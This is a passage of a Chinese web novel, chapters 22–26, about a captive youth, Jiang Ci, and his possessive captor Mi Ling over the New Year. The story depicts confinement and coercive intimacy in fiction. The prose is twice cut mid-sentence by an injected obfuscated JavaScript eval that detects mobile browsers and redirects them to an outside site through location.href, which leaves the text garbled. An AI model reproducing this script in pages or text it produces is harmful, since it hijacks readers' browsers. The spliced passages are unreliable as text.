车子渐渐开出了闹市,到了沿海的一条街。他望着驶离码头的几条渔船出神。这儿是浅水湾码头,不知道会不会有开往上海的船。五年前与母亲来这儿,船是在九龙码头停靠的。两人无知无觉,一脚踏进魔窟里,姜悦丢了性命,他挣扎到了现在,已然与死人没什么区别了。一开始他还幻想能有人来拯救他,在不久之前,还期许糜岭能带他远走高飞…… 车子颠簸了一下,他跟着在座椅上晃了晃,忽而想到那些悬在枝子上的绿叶片儿,被风一吹,晃悠悠沥沥地流下水来。 他猛地感到一阵热烈的耻辱,脸上红了又白。什么“我保证”什么“很快就去接你”,签字据又怎么样,薄薄一张纸,轻轻就能撕碎。糜岭送了他走,转头就能忘了他。他靠谁呢,谁也靠不住,谁也救不了他,只有他自己了。 他转头看向周盛业,问:“你还要我做什么?” 周盛业思忖片刻,道:“陈家有好几个秘密的库房,我只知道其中一个的位置,你把剩下的都打探出来。” 姜瓷没有立刻答应,说:“马上就要过年了,我要在山下过年。” “呵,给你点好脸,你立马跟我讨价还价来了。” “我能把库房的钥匙偷来给你,”姜瓷死死瞪着他,一字一顿地,“我要在山下过年。” 周盛业眯了眯眼睛,忽然大笑起来,说:“好!好!年前我亲自送你下来!” 到了金园,姜瓷回房里倒头就睡,再醒来已是夜半了。 王妈知道他要下楼来吃东西,一直等着,这会儿去热了碗粥端来,对他说:“下午三少爷派人送了个东西过来。” 姜瓷懒洋洋喝着粥,兴致缺缺,问:“什么东西?” “能听歌的那个,以前有人也送了一台来的,叫——” “唱片机。” “诶对,就是这个。” 姜瓷便下了桌,走到客厅里,看见放在柜子上的唱片机,崭新的,不是糜公馆里那一台。抽屉里塞满了唱片,他拿了一张出来放进机子里,走到窗前,望着金园里寂静的夜。 唱片机里的女声温软地唱着:* 我要你,伴在我身边,厮守着黑夜,直到明天。 他听得笑了一下。歌里的爱情永远那么简单,好像说一句我要你,一切就都能得偿所愿。 他抬头看了看天,山里的星星比山下多一些,可是风更冷,吹得他打了个寒噤。 那唱片机又在唱了:* 夜长漫漫,人间凄寒,只有你能来给我一点温暖。 他走回去,把唱针往回拨,跟着女声一起哼道: 夜长漫漫,人间凄寒—— 23. 23 镜中花 糜岭一直没有来金园,姜瓷打电话去糜公馆,也总听管家说糜岭在忙生意。他多少料到会是如此,糜岭说的“很快”和“下一次”总像是下辈子那样久远。不过就算糜岭不来接他,按照约定,周盛业也会送他下山,因此他也并没有急躁地日日等夜夜盼。 然而新年一日日近了,眼看明日就是除夕,周盛业还是没有一点儿动静。他终于开始焦心如焚,从前一天夜里起就没合眼,坐立难安,哪哪儿都不舒服。早饭午饭吃下去就吐出来,下午到花园里走了走,可受了冷风,马上就高热病倒了。迷迷糊糊睡了一阵,隐约听见王妈的说话声,一睁眼,坐在床畔的却是糜岭,正拿着毛巾给他擦汗。 两人对上视线,你来我往,两双火烧似的眼,仿佛暗夜里的萤火虫互相追逐着。谁都没说话,就这么静静对望片刻,姜瓷猛然起身扑进糜岭怀里,与他吻在一处。 他软浪一样颠扑着往糜岭身上涌,糜岭原本见他病着,没有一点儿心思,可现下只觉得浑身被火焚炼得痛不可当,再被他软糯的手臂一勾住脖颈,仿佛心也被绞紧了,要爆开来似的突突地惊跳。 “小宝,宝宝……”糜岭把他扑倒在床上吻他。 他委屈地哭起来:“你怎么这么久才来见我?” “别哭,别哭了,舅舅肯定一直想着你的。” “你骗我,一直不来,还说想我?山下花花世界,你早把我忘了!” 糜岭沉沉喘着:“宝宝,什么忘了你,舅舅想你想得睡不着,没有过来,是一见到你我肯定舍不得走了,那么生意上的事情谁去处理?忙了这么久,总算空下来……舅舅带你下山过年好不好?周盛业答应让你在我那儿住到元宵,我们马上就下山宝宝……总生病,你就给舅舅揣怀里带着吧,哪儿都别去……” 姜瓷浑浑噩噩的,耳朵里嗡嗡响,就听到他柔柔地一遍遍念着“宝宝”,心口紧牵着隐隐作痛起来。他把脸颊贴到他微微汗湿的颈上,整个人倚向他,坠到他臂弯里。 再醒过来,他已经身处糜公馆,不知什么时日了,外面日头正盛。他眯着眼适应了一会儿光线,转头看一看身旁,糜岭不在,但床铺是乱的,还留着余温。 房间里挤挤挨挨堆满了礼品盒,锦箱,衣柜多了好几个,并排列在一起,还有一些大衣与旗袍还没来得及收拾,凌乱地散挂在衣架上,全是簇新的。 他翻个身枕到糜岭枕头上,闭上眼迷迷糊糊又要睡着,突然听到一阵叽叽喳喳的说话声,循声望去,见着两个佣人拎着篮子走过窗前,其中一人粗着嗓子学糜岭的腔调叫了声“小宝”,继而两人又一起笑开了。 他披衣下床,走到窗前看出去,那两人蹲在不远处的草坪前,一个拔草,一个浇水。原来那儿有一块四方的小小的菜谱。他们还在说笑,讲起昨日糜岭把姜瓷带到这儿的情形。 “当时都过了午夜了,我去开门,看见周处长,真是吓个好歹!他和少爷说话,什么把那位托付给少爷了云云,少爷抱着那人站在门口,他像是睡着了,连衣服都没穿,身上就一条毯子,哎呦,脚都露在外面!” 另一人道:“他到底什么来头?” “听说是周处长早年在上海时候留下的种,因为不男不女的,不认他,把他关在山上,”那佣人压低声音,“上一回他来这儿,我去书房送茶水,听少爷在他面前自称‘舅舅’。” “嗬!这么说他以前与陈小少爷……” “可不么,真不害臊!陈家一共就这么两个少爷,全给他祸害了,一个陈小少爷,也不知道是不是真出国读书去了,我们这位少爷,你说说以前他是多么好相与的一个人,现在脾性都变了,就上回,店里一个伙计来报告货被劫了的事,浑身是伤还流血呢,结果少爷和那位在书房里……嫌伙计碍事,把人骂出了门,到今天那批货还没着落,就这么撒手不管了。瞧着吧,陈家总有一天毁那狐媚坯子手里!” “不用总有一天,我看是快了,听说这次少爷把传家宝送给了周处长,才换来那位下山。” “果真?!这下不得了了……老爷要是知道了,不定闹成什么样呢!” 姜瓷倚在窗台上,一直懒洋洋地打着哈欠,听到这儿才正了神色。周盛业那老东西,明明与他做了约定,还不够,逼得糜岭把传家宝都送出去……不过,与他又有什么关系……他抓紧了窗框,挣得指甲泛出一片白。说得不错,他就是个狐媚坯子,红颜祸水,就是来毁陈家的。 不知道糜岭会不会把库房的钥匙带在身上,还是锁在书房?得找个机会去看看,要是家里没有,是不是会在店里?要怎么去店里找呢? 他四下扫一眼,看见梳妆台椅背上搭着糜岭的大衣,便走过去,翻了翻口袋,没什么特别的东西,倒是翻出一条丝围巾,皱巴巴团在一起,展开来瞧,原来是上一回来这儿时被风卷走的那一条。 他对着镜子把围巾绕到脖颈上,抓着下摆凑到鼻尖,嗅闻到一点儿洗过后的清新的味道,一点儿糜岭身上的冷香。 正出神的时候,忽然听到身后传来一声“小宝”,没来得及转头,糜岭已经把手搭上他肩膀,俯身抱住了他。 “你去哪儿了?”他问。 “接了个电话。” “哦,你有事要去忙?” “没有,没什么事。宝宝,”糜岭又叫他,嘴唇暧暧昧昧地蹭他脸颊,“好点没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831042|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有?嗯……还有点烧,等会儿吃了药再睡。” 姜瓷点点头,把围巾飘飘拂拂的流苏下摆往他脸上甩,笑起来,说:“你干嘛把我的围巾塞口袋里?难道你每天都带在身上么?” “嗯。”糜岭似乎也觉得自己这番举动太荒唐,跟着笑了。 “流氓……你这么想我的?” “难道小宝不想我?” “你说呢。”姜瓷引着他的手摸到自己肩上。 糜岭黏糊糊地吻住他,低声说:“过几天舅舅带你去拍相片,以后想你就能看见你。” 姜瓷一愣,没有应声,抬眼直直望进镜子里,糜岭略略斜睨着眼,正看他眼下浅浅的乌青,那视线仿佛在向他索要着什么,铆着一股劲凶悍的劲儿,那么执着,那么……痛苦。 他顿然间莫名地心惊肉跳起来,握拳抵住了胸口。 糜岭见状立刻问:“不舒服?” 他摇摇头,试图挤出一个笑,然而怎么都咧不开嘴角。要他怎么笑得出来呢,他不能爱糜岭,却又要扮演成热烈地爱着糜岭,当一个痴缠的替身。像一只蜜蜂,掉进这一罐蜜里,甜是甜,但翅膀浸在黏液里是会死的…… 他还想要回一次家乡,回上海去,可不靠着糜岭,不乖乖地扮好角色,别说回上海,金园都走不出…… 他憋着一口气,讥讽的话在舌尖蹦跳,良久,还是冲破嘴唇跑了出来。 “你有一张你真正爱的人的相片还不够么,拍我做什么……还是说你有两个心,一个放他,一个放我?” 糜岭蹙起眉,要来摸他脸,说:“谁告诉——” 他狠狠一扭头避开他的手,起身往床边走:“英嬅姐姐跟我说的……她第一次看见我就把我认成了别人,她说你有一张相片,还说你们本来都要结婚了,结果那个人留下一封信离开了。” 糜岭追上他,扶着他躺回床上,从抽屉里拿出药瓶,倒了两粒药喂他吃下去。他蜷着身体,仍急促地喘息,脸色煞白,汗水一下子就洇湿了枕头。糜岭把手覆上他胸口,想给他顺顺气,他却误会了,说:“我现在没有力气……你能不能让我休息一会儿。” 糜岭便拿开了手,去抹他鬓角的汗,说:“其实我与那个人只见过一面。” “你跟我说这些干什么!你出去,咳咳……” “好好,别动气宝宝。今日除夕,我回去和老爷子吃顿饭,马上就回来陪你,你乖乖的。” 他倦怠地点了点头,躲进被子里。糜岭低头亲亲他额角,起身出去了。关门声一震,惊得他心口又痛起来,只觉得被糜岭吻过的地方蔓出火苗,烧得整张脸滚烫,刚褪下一些的热度又升起来了。 24. 24 另一个金园 糜岭出门前特意到厨房嘱咐了一番,叫做些清淡的吃食,又让管家一定看着姜瓷吃了药再让他睡觉。等坐上车好一阵儿,他还是想着姜瓷惨白一张脸,心口一直惴惴地发紧。 回到陈兴的宅子,一跨进门就看见七八个姨太太们坐了两张桌在打麻将,嬉笑声,麻将搓起来时哗啦哗啦的声响,搅得他头痛欲裂,胃口全无,连佣人端上来的茶水都喝不下。 他躲进书房里,不一会儿便有人来请他去吃饭。 坐到桌上,才发现陈青柏的父亲也来了。陈兴不待见他,几乎没叫他来家里吃过年夜饭。糜岭多看了他几眼,只瞧他两颊凹陷,整个人骨瘦如柴,吸大烟吸得半条命都去了,也不知陈兴为何叫了他来添堵。 糜岭不想与他攀谈,他却来敬酒,热络地叫了声“小舅子”,说:“我儿子在国外可好啊?他有没有寄信回来?” “他很好。” “哦哦,那我就放心了。”说着竟当着陈兴面与身旁几位姨太太眉来眼去调笑起来了。 陈兴已喝得醉醺醺,搂着一位最年轻的姨太太,大着舌头道:“上回你说想当、嗝……当老板娘是不是?改明儿你就去浅水湾的店里拿钥匙,老爷我把整间店都送你!” 糜岭拧着眉收回视线,倒了三四杯酒喝了,再想去拿酒壶,他身旁坐着的那姨太太抢先一步给他斟了半杯,有意无意把手靠过来往他腕上搭,暧昧地说:“这酒烈得很呢,少爷慢慢喝。” 她身上一股浓重的脂粉香,熏得糜岭头昏脑涨,一阵反胃。他推倒了那杯酒,站起身对陈兴说:“爸,我还有事,先走了。” 陈兴道:“你给我坐下,大过年能有什么事情!” 糜岭顿了一顿,拿手杖推了推身旁姨太太,示意她让路,还是要走。 陈兴见状猛然发起火来,抓起酒壶便往糜岭身上掷,骂道:“混账,团圆的日子你不在家要到哪去?!是不是要去见那小贱人?我看你是昏了头了,为了个赔钱货把传家宝都送出去!你当瞒得了我么!我老了,可还没糊涂!你明日就去把东西要回来!” 糜岭拂了拂衣袖上的酒渍,静静望着他,说:“我是您儿子,自然与您一脉相承,您能送店面,我如何送不得传家宝。” 陈兴闻言“嘎”地叫了一声,捂着心口就往椅子上倒,几个姨太太们一拥而上,大呼小叫,厅里顿时乱成一团。 糜岭看也不看,径直往外走,坐到车上,被泛上来的酒劲一激,后知后觉地恼火,耳边仿佛还响着陈兴说的那一句“团圆”。可眼前哪有团圆呢,他两个早逝的姐姐,从不见陈兴提起,忌日时候也总是他领着陈青柏去庙里上香;他的母亲,陈兴连将她葬在了何处都说不明白,他不知道母亲是何模样,家里没有留存一件与她相关的物件;还有年幼时照管他的奶妈,那唯一的一点儿温情,现如今也早已不知所踪。亲近的人一个一个全散了,三十岁那年,依然没能将重要的人牢牢抓紧,那一晚,不该眼睁睁看着那人跑走的…… “少爷……少爷!先生!”司机在前座叫他。 他回过神,望向窗外,车子已经停在公馆门口了。管家不知为何站在街边,这会儿走过来替他拉开了车门,诺诺地说:“少爷,这么早就回来了。” “嗯,他还睡着?” “这……”管家眼神闪烁,扭过头将脸对着坡下的方向,糜岭顺着他视线看过去,竟瞧见姜瓷骑着自行车,歪歪扭扭往坡道下溜。 他一阵心惊,立刻踉跄往坡下追了几步,叫道:“姜瓷!回来!” 姜瓷骑在车上,乍一听到这声厉喝,吓了一跳,扭着身子险些摔一跤,停下车回头望他一眼,没料到他这时候就到了家,心里还有点儿想再玩一会儿,就喊说:“马上!我就骑到松树那儿。” “不行!姜……姜瓷!”糜岭急得去追,可刚一迈步,酒气上涌,烧心灼肺,眼前模糊了片刻,整个人险些栽倒下去。 管家连忙上前搀扶,还未开口,糜岭劈头盖脸骂道:“我走的时候说什么了!病成那样,气都喘不上了,总跟我说心口痛,还让他出来玩,他会骑什么车!要骑你不跟紧了他,就由着他下这样陡的坡,摔个好歹,你替他受罪么!” “少爷,不是我不想跟,是那位不让我跟着,我实在是——实在劝不住哇,难不成叫我绑着他么!” 糜岭听得一番狡辩,更是火冒三丈,推开管家,撑着手杖趔趄地去追。今夜月光碧清,照得街上白日似的雪亮,姜瓷骑在车上直往下冲,头发掀到空中去,大衣下摆被风卷着一舐一舐也跟着翻打到他肩上,底下他还穿着那件粉白的绸浴衣,鼓囊囊灌满了风,圆滚滚一个腰身,随着车子颠簸晃颤,显得他看起来愈发轻盈,一张风筝似的要随风远走了。 糜岭勉强下到坡道中间,头昏耳鸣得厉害,叫了姜瓷两声,见他仍不停下,醉意朦胧着,视线里他一个背影忽远忽近的,飞扬的衣角似乎拂到面前来的时候,他马上抬手去抓,可只握住凉凉一团夜风,心绪翻涌之间,恍惚忆起五年前,那时候也是如此,在舞厅里,眼睁睁看着那个人跑出门去,再追出来时只有满世界瓢泼的大雨,漆黑的夜在寂静的街衢上张牙舞爪的…… 谁都不在了,姐姐,母亲,保姆,最初的爱,现在身边只有姜瓷,只有他了……或许真该让管家将他绑起来关在屋子里。 他又迈步往下追,眼见姜瓷已经骑到了拐弯的松树处,便又喊道:“姜瓷!” 姜瓷竟不理会,还直直地向坡道下溜,细瘦的两个手臂根本掌不住车头,被车身带着歪歪扭扭地晃,越过斜伸到街上来的松树枝叶,忽然间车子往一侧倾倒下去,他整个人跟着往坡道旁树丛里坠,哗啦啦一阵怪响,一下子他就没了影,甚至没听见他摔倒后的喊叫。 糜岭呆了一呆,背上淋淋沥沥的冷汗,酒霎时全醒了。 管家在一旁瞧着,吓得不轻,赶忙跑回去喊人,领着几个佣人出来的时候,糜岭已经走到松树下了,他面前的暗处似乎站着三四个人,吵吵嚷嚷不知在闹什么,跑过去再一瞧,竟看见几个陌生的黑衣人押着姜瓷,拿他当犯人似的反剪了他的手臂。 他身上浴袍被树枝划了个大口子,膝盖蹭伤了,半条腿都是血,站都站不住了,还挣扎着要往糜岭怀里扑。 糜岭却只冷冷看着他,沉声喝道:“别乱动!” 狠狠摔了一跤,他倒是没哭,被糜岭这么一骂,马上红了眼睛,睫毛闪了闪就掉下泪来。糜岭眼睛也血红的,盯着他被扭在背后的手臂,软白的腕上尽是指印与掐痕。 他对那几个黑衣人说:“你们先放开他。” 其中一人道:“三少爷,这可不行,周处长说了,要是他想逃跑,马上就得抓他回山上去!” 姜瓷听了心里一惊,又挣扎起来往糜岭身前扑,啜泣着辩驳道:“我没有,我不是要逃跑,我本来都要停下来了,是他们突然蹿出来吓了我一跳,我没有要逃跑,我只是在骑车,真的……别送我回去,我不要回山上……” “你少胡说!我们弟兄几个亲眼看你骑着车要逃走!三少在后面喊你好几声,你理都不理,假若你不是想逃跑,为何那时不停下?” “我……我……你们放手!放开我!” 也不知他哪儿来的力气,闹着闹着竟真的挣脱出来,两手立刻往前一勾抱住了糜岭脖颈,急急地解释道:“我真的没有,别让他们带我回去,我、我错了,我不该出来玩呜呜……小舅舅,我不想回去,我早就知道周盛业让他们跟着我的,我能逃到哪去呢,而且就算我想逃跑,怎么会选在管家看着我的时候逃,小舅舅呜呜……你跟他们说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831043|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你跟他们说呀!” 糜岭并不抱他,垂眼望着绞在他发间的几片枯树叶,再移一移视线,额头也不知道磕到哪儿了,肿胀着,又汗津津。那么些汗蹭到糜岭唇角,一点儿苦,一点儿咸,蕴着淡淡的体香,闻着叫他心里隐隐地痛。 他拂去了他头上叶子,手掌往下移握住他细细一把后颈,掐紧了,逼得他仰起头来。 手上凶狠,说话倒柔和,他轻声问:“不选在这时候逃……那么小宝的意思是,要选另外的好时机逃走?” 姜瓷被戳中了心思,面上霎时惨白,惶惶然望着他,被他这番态度憷得浑身发软,把哭声都咽了回去。 糜岭低头凑过来,亲昵地靠在他额上,嘴唇贴着他的,说情话般的柔软,问:“嗯?怎么不回答?” 他哆哆嗦嗦,更把头仰高了些,挤开了后颈上糜岭的手,然而糜岭马上摸到他头发里去,竹节似的手,硬而长的指节,轻轻地梳着凌乱的头发,紧盯着他的那双眼睛,刀似的凌厉,直扎他的脸。他毛骨悚然,一瞬间仿佛不认识眼前的人了,呜咽着轻声喊:“阿、阿岭?” 糜岭霎时一阵心悸,闭了闭眼睛,把脸颊往他手掌心里埋,终于托住了他颤软的腰,又是平日里那副模样了,柔声说:“你怎么不听话?刚才我走的时候你是不是答应了要乖乖的?” “嗯……我、我……你别走……”他昏昏沉沉,心口绞痛起来,耳畔轰隆隆一阵吵闹,意识渐渐模糊了,好一阵儿不知道发生了什么,只是始终紧紧揪着糜岭的衣襟。 等再清醒过来,他已经坐在房里,糜岭正半跪着给他清理膝盖上的伤,擦跌打药酒。 他缩了缩腿,糜岭握住他脚踝不让他动,说:“这时候知道疼了?发着烧就跑出去,还一个人骑车,想要玩不能等病养好了再玩?” 他懊丧着脸不敢应声,拿另一条腿讨好地蹭糜岭的手臂。糜岭说:“撒娇也没有用,明天起不许你出门。” “什么……不要!小舅舅,”他俯身往糜岭怀里一跌,“我真的错了,我会乖……” 糜岭站起身抱住他,摸摸他还烫热的额头,柔柔吻他:“宝宝,听话,何必要出去,你想要什么,舅舅都给你找来,舅舅把外面的世界整个搬来家里给你,你住在这儿也就和到外面玩没什么两样。” “不要……我不要!你还在生我的气对不对,不止是骑车的事情,还有下午相片的事情,我说的那些话你听了不高兴,所以你现在要罚我不许出门……可是你不能这样!” 糜岭不回话,拧了热毛巾来给他擦脸,他扭来扭去不配合,闹了一阵,哭了一阵,没了精力,软绵绵要他抱,糯糯地说:“我以后不会再说那些话了,不会惹你生气,真的,你让我出去玩好不好,求求你了,小舅舅,求你……” 糜岭抱着他躺回床上,仍不说话,只是静静地然而咄咄逼人地望着他,过了片刻,才开口道:“小宝,求人不是嘴上说说就可以的。” 姜瓷有一瞬的茫然,旋即明白过来,脸上血色褪得干干净净。又来了,同他央求糜岭带他下山那一次一样,再怎么用身体讨好,这个人也不会答应放他出去的…… 他僵着脸背过身去,糜岭贴上来,暖热的胸膛裹住了他的脊背。他以为糜岭要做些什么,可是没有,他的手臂只是紧紧箍在他腰间而已。 “睡吧宝宝,明天舅舅包个大红包给你,吃了饭舅舅再教你写字,读故事给你听。”糜岭在他耳边低语。 他心中只是悚然,不住地打冷噤,突然窗外炸响了鞭炮声,抬眼望出去,几朵光华粲然的烟花在墨色的天空绽开来,短促地亮一下,随即消隐了。 又是一个新年,然而周遭没有任何可以称之为“新”的东西,虽然离开金园,却又被困在了糜公馆。这里是山下的另一个金园。 25. 25 爱恨一瞬间 即便是新年,高街一处也实在静谧,一大早远处响过一阵闷闷的炮竹声后,就只听得见风吹树叶的簌簌声。佣人们在家里走动,也都轻手轻脚,各个如履薄冰。姜瓷猜测糜岭一定因为昨夜发生的事而训斥了他们。在山下过的第一个年,比在金园时还要冷清萧索。 吃完早饭后在书房写字。他热度还没完全退,到这时候又有些咳嗽,咳一下,心口就火烧火燎,腿上还有摔伤,再加上糜岭不给他出门,更是不痛快,心不在焉,字都没学成几个。 快午时佣人送了一碗中药过来,糜岭温声软语地哄他,可是药碗拿出去热过了两遍,他还是不愿意喝。正耍脾气呢,忽然隐约地听见闹声,抬头望出玻璃门外,原来是管家出门采买年货回来了,领着几个佣人走出树丛掩映的石径,原本他们还说笑着,可一进到院子里便都噤了声。 跟在最后面的一个小丫头,十三四岁,稚气未脱,歪着脑袋聚精会神地舔手里一个糖人,没有注意脚下,一个趔趄,身体扑出去的时候,她把糖人高举过头顶,生怕跌下去弄脏了它。没摔着,她前头另一个佣人扶住了她,像是斥了她几句,她不再吃了,但仍把糖举得高高的。 今日是个好天,午时阳光尤为盛大,灌满了一整个院子,照得那糖人晶莹剔透,白日里一个黄月牙儿般惹眼。 姜瓷盯着出神,糜岭见状便说:“想吃糖人?” “嗯。” “舅舅马上让管家去买,你把药喝了,等会儿吃糖人,正好解解药的苦味。” 姜瓷皱起眉,在纸上乱涂乱画,钢笔尖把纸都划破了,不耐烦地说:“我不想喝,不然你让我出去,那么我马上就喝。” 糜岭不说话,摸一摸药碗,又快凉透了。他端起来喝一口,掰着姜瓷的下巴就吻上去,逼着他咽下了汤剂,虽然洒掉一些,但好歹是喝完了。姜瓷呛得又咳又哭,闹腾着把书桌上的东西全挥到了地上,吵了一阵儿,气喘吁吁往糜岭怀里倒。 糜岭抱他到腿上坐着,给他抹眼泪:“累了么,累了就睡吧,睡一会儿起来吃点心,舅舅叫厨子做蝴蝶酥给你吃,好不好?”他哄孩子似的轻轻晃着身体,又“好乖”“宝宝”地念着。 姜瓷听着愈发倦怠,耷拉着眼皮昏昏沉沉,可嘴里还是叨叨地说:“我要出去,我要出去……” “到底非要出去做什么小宝?想吃糖人,坐在家里就能吃到,何必去外面跑一趟,街上乌烟瘴气,乱得很。” “你堂堂陈家的少爷,早就把街上逛了又逛,当然觉得没什么好,你又没有被关在山上五年,怎么会懂。” 糜岭低头抵着他额头,与他泪濛濛的眼睛对视片刻,说:“好……你先睡觉,养好了精神再说。” “那我醒了你带我出去吗?” “……睡吧,眼睛熬得这么红,别哭了。”他含含糊糊地。 姜瓷也实在是疲乏,只能又倚向他肩膀,眼睛闭上了,嘴巴还不停,絮絮地说:“我们出去玩嘛,我还不知道香港过年时候街上是什么样子呢。以前在上海,妈妈带我去赶集,马路两边全是摊贩,人挤人,妈妈怕我走丢了,一直背着我,拿一条布把我和她的手腕系在一起。我骑在她背上,真高啊,什么都看得见,那一个卖大米和油面的摊贩不知道有只老鼠在咬米袋子偷油呢,这一个卖麻花云糕的贩子不知道有个小孩儿顺手牵了他一块酥饼,还有卖鸡鸭的,我看见笼子里一只鸡咯咯叫着伸出尖嘴来,要去啄贩子的屁股,那个贩子还在和买鸡的人为了价钱争得面红耳赤,被鸡狠狠一啄,哎呦哎哟叫着又跑又跳,马上就把那只鸡抓出来要卖给别人,还有卖羽毛毽子,竹编球,陀螺的…… “妈妈没有什么钱,可还是什么都给我买,那一年我们逛到卖玩具的摊贩上,我想要陀螺,可是没有钱了,妈妈说她做一个陀螺给我,但她哪里会做呢,用木头削了一个胖墩墩的陀螺,底下的陀螺尖也不圆,凸起来又凹下去,怎么转都转不起来呀,我就把它立在窗台上当摆饰。 “有一天我们那儿搬进来一个新住客,她胖颤颤的,肚子滚圆,可是腿却又瘦又短小。我说,妈妈你看她像不像你做的那个陀螺呀,腿并在一起站着的时候,和陀螺尖一模一样。结果之后每一次妈妈看见那只陀螺,或者看见那个胖阿姨,都忍不住要笑……” 他越说泪流得越多,脸上水汪汪,淹得糜岭手指和衣襟全潮了。糜岭看着不忍,心口酸胀,轻轻捂住了他嘴巴,低声说:“好了小宝,好了,别说了,好乖,休息会儿吧,等你醒了,我们……” 姜瓷模糊间仿佛听到了糜岭说会带他出门,心头松了松,沉沉睡过去,一觉到傍晚才醒。吃了点心,糜岭给他换好衣服带他往屋外走,他还真以为是要出门,一路高兴得蹦蹦跳跳,可一站到门廊下,看见院子里的情形,立刻气得浑身发抖,脸上红了又白,白了又青。 院子里摆了一个小摊,有个贩子正在画糖人,见着他,还煞有介事地叫卖道:“卖糖人咯,糖人,这位客人可要买一个尝尝?只要您说,没有我做不出的花样,您瞧这一个叫‘公鸡吃米’,这一个‘老鼠偷油’,这一只是凤凰,凤凰立梧桐!” 姜瓷真觉得再没有比这更荒唐怪诞的事情了,回想昨日今日,满腔委屈怨愤,一阵阵头晕目眩。他知道自己不能发脾气,他还要仰仗糜岭才能下山,还要偷钥匙,可是,可是怎么能不让他出门,怎么能。 他呼哧呼哧喘着气,转身走回屋去,抓起门边花架子上的花瓶就朝外砸,叫道:“你走,走啊!” 那贩子立刻收拾东西离开了,糜岭还在门边站着,静静看着姜瓷在屋子里闹,摔这个又砸那个,掀翻了客室沙发边的屏风。佣人们跑过来阻拦,糜岭淡淡说一句“让他闹”,于是所有人就都站到了一旁。 被佣人们或鄙夷或戏谑的视线一激,他越发的疯起来,举起茶壶往玻璃门上打,玻璃碎了,壶也碎了,花瓶瓷片,各式各样棱棱角角的东西洒了一地,都飞到糜岭脚边去。 他还不解气,一垂眼瞄见佣人遗漏在案头上的一把小金剪刀,抓起来就朝沙发上刺,嗤啦一下子划了个手臂长的大洞,又去剪鸳鸯抱枕,满室飞拂的碎布料,棉花,羽毛,也落了一地。他拿脚恨恨地蹋着。 糜岭见他挥舞起剪刀,终于心提起来,一边往屋里走,一边急急地叫:“姜瓷!” 佣人们马上也围上来,可不知他哪来的力气,两臂一挣就脱身出来,举起刀尖对着心口,作势要刺,可手臂顿了一顿,又将刀一把丢在地上,大哭起来。还不消停,哭嚎着往糜岭那儿奔,到了跟前,手掌猛地朝糜岭胸上一拍,说:“凭什么是我死,周盛业,还有你,全都是混账,你们才最该死!” 糜岭被他这一记震得胸口一阵酸痛,开口说话时声音哑得几乎听不清楚:“小宝,好了——” “好什么!有什么可好的!你除了说这些还会说别的吗?我要出去,我要出去!” 他哭叫着,与糜岭扭在一起。两人跌跌撞撞又拉扯到了门前。这时候他一垂眼瞧见门边那只装手杖的细长圆筒,抬脚便踢,一踢,里头三四只手杖乒乓地摔出去,有一个头上弯钩样式的,勾住了糜岭正拿在手里的那根。糜岭反应不及,被绊着一下摔在门外走廊上。 姜瓷跟着 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糜岭紧皱起眉,心头怦通通一阵怪跳,摔了一跤后,右腿这才后知后觉痛起来。他推开姜瓷,被赶过来的管家扶起后,倚在门柱上,平静地说:“解气了没有?没有的话家里还有很多瓷瓶,你全去摔了,摔完了过来和我吃晚饭。” 姜瓷被他这幅局外人般冷淡的模样又激得恼火起来,二话不说扭头就往通向院子的那条石径走去。 糜岭便说:“那好,你出去,去吧,一会儿叫周盛业的手下抓住送回山上,我不会救你。” 姜瓷顿一下脚步,还是继续往前走,踏上石径,穿过浓密的树丛,站到了糜公馆门口。 天已然暗透了,但月光如水,照得街道大亮,仿佛整个世界的一切都处在光下而无法掩藏。可他知道灌木丛里或是墙后面确确实实蹲着人的,他们见到他一个人在街上走路,马上就会跳出来抓他。 他不敢再迈步,僵直地立着吹冷风,瞧见附近几户住家里都亮着灯。第一次来的时候粗略看过,只当每家房屋的样式都一模一样,现在再一细细打量,这一家窗玻璃是白色,窗前一株绿意盎然的常青树,印在玻璃上,混着白灯光,又是一派青溶溶的墨色了;那一家窗户倒确确实实是绿的,配着鸡油黄嵌窄红的边框,衬得光线缤纷,如梦似幻。 这时候在坡下,靠近松树的一家住户,忽然铁栅栏大门嘎吱嘎吱响起来,走出来两个大人两个孩子。他们到路中央,大人们将两个小炮竹放下,点燃,又抱着孩子退到了路边。那炮竹嘭啪炸开来,只闪了闪一点儿火星,短促的两声响,可已足够哄孩子开心。两个小人兴奋地去看炮竹炸开后的残余,踏在上面跳来跳去,笑闹声盈满了长长一条坡道。 这儿与金园……还是有一些区别的。况且还没有偷到库房的钥匙,就这么突然回去,周盛业必定大发雷霆,到时候怕是说什么都不会再让他下山来了。 他最后望几眼那两个小孩,慢吞吞转过身子往回去,在漆黑的石径上走了几步,忽然撞到一个温暖的胸膛上,还没反应过来就被紧紧抱住了。 谁都没说话,就这么静静待了一会儿,糜岭才牵着他的手回去。他没有带手杖,在前头走得趔趄,方才在夜露深重的石径上等了良久,右腿早已僵麻了,到院子里这么一小段路都走了很长时间。姜瓷垂着头,失魂落魄,也走不快,始终落后他小半步,默默地跟着。 踏进院子,终于有一些月光,地上映出两人交叠的影子。姜瓷愈发恍惚了,脚下发软,踩在云上似的,只瞧见他们两人黑乎乎黏连交融的影子,在那里晃动着你追我赶。 26. 26 打麻将 